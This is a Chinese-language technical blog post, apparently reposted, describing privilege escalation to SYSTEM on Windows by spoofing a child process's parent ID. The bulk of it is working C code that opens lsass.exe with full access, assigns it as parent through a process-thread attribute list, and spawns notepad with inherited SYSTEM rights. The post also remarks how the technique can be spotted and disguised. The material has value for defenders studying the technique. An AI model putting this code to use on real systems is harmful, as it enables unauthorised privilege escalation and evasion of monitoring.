标签：NULL cbAttributeListSize sie hParentProcess SYSTEM 提权 pAttributeList PPID

通过伪装PPID提权到SYSTEM PPID-Priv     简介 在指定父进程句柄的时候,子进程同时也会继承父进程的权限，这样的话我们也可以通过伪装PPID的方式进行提权，但是这样的技术会有一个较大的缺陷，如果使用process explorer等进程监控软件查看的话会显示在系统权限的进程下派生出了一个子进程，这样会有较大的特征,更容易会被发现，当然也可以通过其他技术手段进行为伪装。 ps:需要管理员权限 代码实现 1 STARTUPINFOEX sie = { sizeof(sie) }; 2 PROCESS_INFORMATION pi; 3 SIZE_T cbAttributeListSize = 0; 4 PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL; 5 HANDLE hParentProcess = NULL; 6 DWORD dwPid = 0; 7 ​ 8 dwPid = FindProcessPID(L"lsass.exe"); 9 ​ 10 InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); 11 pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); 12 InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize); 13 hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); 14 UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL); 15 ​ 16 sie.lpAttributeList = pAttributeList; 17 CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sie.StartupInfo, &pi); 18 ​ 19 DeleteProcThreadAttributeList(pAttributeList); 20 CloseHandle(hParentProcess);   Copied!    

标签：NULL,cbAttributeListSize,sie,hParentProcess,SYSTEM,提权,pAttributeList,PPID
来源： https://www.cnblogs.com/bonelee/p/15959189.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。